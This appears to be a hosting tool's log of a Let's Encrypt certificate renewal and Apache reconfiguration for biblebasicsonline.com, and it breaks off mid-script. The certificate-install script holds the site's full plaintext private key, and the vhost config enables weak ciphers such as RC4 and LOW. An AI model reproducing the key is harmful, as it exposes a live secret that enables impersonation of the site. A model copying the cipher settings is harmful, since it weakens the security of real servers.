TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47: Establishing a connection
2025-09-06 06:00:47: 

PUT: /tmp/pkp510833

#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:00:47: 

chmod 755 /tmp/pkp510833; /tmp/pkp510833; rm /tmp/pkp510833

2025-09-06 06:00:47: 


1


2025-09-06 06:00:48: Establishing a connection
2025-09-06 06:00:48: 

PUT: /tmp/pkp991954

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM
cat > 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI


2025-09-06 06:00:48: 

chmod 755 /tmp/pkp991954; /tmp/pkp991954; rm /tmp/pkp991954

2025-09-06 06:00:48: 




2025-09-06 06:00:56: Establishing a connection
2025-09-06 06:00:56: 

PUT: /tmp/pkp377337

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm acm49wM5CvYEtGmbvG44w3manSM0KosaZAxD_QBuDtM
rm 9h6VqxEKnlIeJyJjs4V7K5-OC7hD_IH-C4N2gXJhUJI


2025-09-06 06:00:56: 

chmod 755 /tmp/pkp377337; /tmp/pkp377337; rm /tmp/pkp377337

2025-09-06 06:00:56: 




2025-09-06 06:00:56: Establishing a connection
2025-09-06 06:00:56: 

PUT: /tmp/pkp201968

#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt

cat > $temp_file <<'endmsg'
d2:47:af:75:0d:45:71:07:ed:55:d9:fe:97:47:78:d9

-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgISBfQsHtRXCFo3JiIIQ13yftk0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjIzWhcNMjUxMjA1MDUwMjIyWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDOKqEn5SFYjzu6k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNA
blTP5n4VAHQtiF7UqHNVvbru+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0
U+dXASczq5FSgtktJTaSLewHmi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbd
jRgaO8TxPANa+yCRCQbJj+GDGHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+
Y/Q3rGBMncGp6d17FKzuQTdn/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdB
jRBuTalKRlBcv9TGl10N2zNHfWRilAYtAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFKIBpg8Sw+7mxQ8jhQv2MomhMl0kMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ
6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZHZ0GNwAABAMARzBFAiEA2Z2Nnh3vDk+Z
n6weHSZqviHV5EuPxcFjgP/Hun+Bg2UCIHKb4yjNgxuTypE4Dqivm8z7oCWxF20w
oz9lJ5jFW3eBAHcA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZ
HZ0OCwAABAMASDBGAiEAhxyz+JPbzzPL/t24X9RUDGlZo2GUj87kuCiG2hZEnd8C
IQC4wAwMOITGVMEZUyYCgfU971vUipwqGf9pGB5g+v9H0TANBgkqhkiG9w0BAQsF
AAOCAQEAOSjOnSAWOgiy4LryH2JfBp19kUH53UOhtj8+AJNrhwUn5preiue4CEIZ
zYJOIlOYkuKh7Xl78kv70L2/rLAIePeGYSeAZ9TvW6TW02zzWTVTtNJRIzESAvSZ
l68fbUmijIwsvM4Iy/5AEcRB+CN6EAvk0bwchorXKw9r/GLHL8q1QK66MqRMGs2z
96XpQLzcmknxM7ZSibYoAZ0LhBZZkzULV0O2wZ3C7YqwoX3/8S1LwX3frkomXFHX
CCIixLi5POxJ535gHoZMCz1AJ53Uc1YAyitlsvPQlG318A9D891ViiBaHGxg7U3v
Wx81wiYgZE6yl0ZGDYP/lDeJstVo/g==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOKqEn5SFYjzu6
k1FLYu9GyAwZxj1rL4HHW4LeUa417r6eSxeVYyNAblTP5n4VAHQtiF7UqHNVvbru
+UUwOo+Jpnhd7UZnJP7ssInP3/E5pR6QZf+oFAp0U+dXASczq5FSgtktJTaSLewH
mi4BGQo7067zWxN6PqepcSkKsv/N2GEZnQ4PBQbdjRgaO8TxPANa+yCRCQbJj+GD
GHMXnchf0mpiH9yFLEdXyh+HN5304HwMRrVnaE/+Y/Q3rGBMncGp6d17FKzuQTdn
/BJ3iIE0JOrh5TLfLu4+gWhCPnQ/ozRotnOExGdBjRBuTalKRlBcv9TGl10N2zNH
fWRilAYtAgMBAAECggEAf+B9OUusFUwylhWOVR42oEaxCsOlkPhUnR0r3U34qsc9
QN3+8NAfK3XD8XhcOBah+SQe/fTGJSab7mJ7AeEw6wZwnoHwK0YNQS53LJMRAtpi
TNqXat+TZHguhA7ZC/mdF/rFTnVIlf8Z6dU+N7waVuWEHLofKLH4OOdRt6szc69m
uJLDbHbZNYqxVOGgafuwRqalUxo7qphSDR0jnrgT+oZR35CkZrVOC7aSWdgnSbwl
r7+UXPYbWBp9269/Irx2Z8zQuStiiW9wCcouzYT968O9rL84Lfi6+9NqxoM+Xzob
XH+F2R0CQacNaQZ4khLWqfLJpWIBR/iaCMvHc1oTmQKBgQD8aAglqa0gaIUOHJt5
LWb3lX51Jjdmy2e17v1dGrAu/tHS+jfvNaNAlnJ+kk+3w2XsDvUCJ2gj9rCO7H0h
7yQLsj04B79hQ0xaMS4Dg/HEF1nbi2bykzkj9ikyrTXuCmVXcHtPkNEgROXi6qjX
KMZ0Iu+dWItWmyVG2ifJVa/DswKBgQDRGhAqaa/hcRb1gDVdtzx6J5yCv6A/F3x3
eAxrmW1MewwtNyVuII55tNTM+YZxKIB5Kt5TiOMJfgwnugPPTE9/JqWz9d7WoHoz
mQJgKwWrVfC5NTxiZblz2ZdiOG6t6wbn8u93LchbPG1yXBucIZqbq3oeD9LTXJGc
dpFk5VuenwKBgQDJDmVO+vW5VwiF0SvXPt9CYIa28pY2/9fBCHox68xj4v9ou4BK
v8Mm87CIOiveCXvqqY9pA9LksuC5OJAEs+VWm8hAFYvRAjaTsZEho7y1opQlWcnL
eJKPnsn6YBcRYp6PJD5VhtnOhpNISfvsR8KtSBbuk1WKy1LKOYRv0B2OGQKBgA8I
uLDT+HlVEDmGhk++pPKDdpVQAc2HesN8NihmV51wG2gE1wQcAyJtBf/W0PvB1brg
giuvY+OC1Izmqu90pSKXPMK7otH7p82d6rXPYhD3lN88HKNWfQb/VgsR06NdipmS
tfTzrbwhlBzs0m9fWyZmJdmTea0Iss91Fu8SLowxAoGBAPjC6PZtMrUBKq0yYi7J
Sf6Bor3DVbSEtvNgBS97VyP3yug1VsjCT0J5D6/KBxXyfl6+uEy+z9A+C2n+lP/O
qG8g6Ptr0ABAsfvOx3RaR+rEY7aLBDgGvxHTb+HvZvdQFnhSRDI/MSRwlb7L+dRE
mtZpgvyv3rxHbP2fyoaFSYs4
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-06 06:00:57: 

chmod 755 /tmp/pkp201968; /tmp/pkp201968; rm /tmp/pkp201968

2025-09-06 06:00:57: 


dir=/etc/ssl/certs


2025-09-06 06:00:57: 

PUT: /tmp/pkp817004

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-06 06:00:57: 

chmod 755 /tmp/pkp817004; /tmp/pkp817004; rm /tmp/pkp817004

2025-09-06 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-06 06:00:57: 

PUT: /tmp/pkp819214

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi


2025-09-06 06:00:57: 

chmod 755 /tmp/pkp819214; /tmp/pkp819214; rm /tmp/pkp819214

2025-09-06 06:00:57: 




2025-09-06 06:00:57: 

PUT: /tmp/pkp547444

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:00:57: 

chmod 755 /tmp/pkp547444; /tmp/pkp547444; rm /tmp/pkp547444

2025-09-06 06:00:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:57: Establishing a connection
2025-09-06 06:00:57: 

PUT: /tmp/pkp502357

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:00:57: 

chmod 755 /tmp/pkp502357; /tmp/pkp502357; rm /tmp/pkp502357

2025-09-06 06:00:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:57: 

PUT: /tmp/pkp655461

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
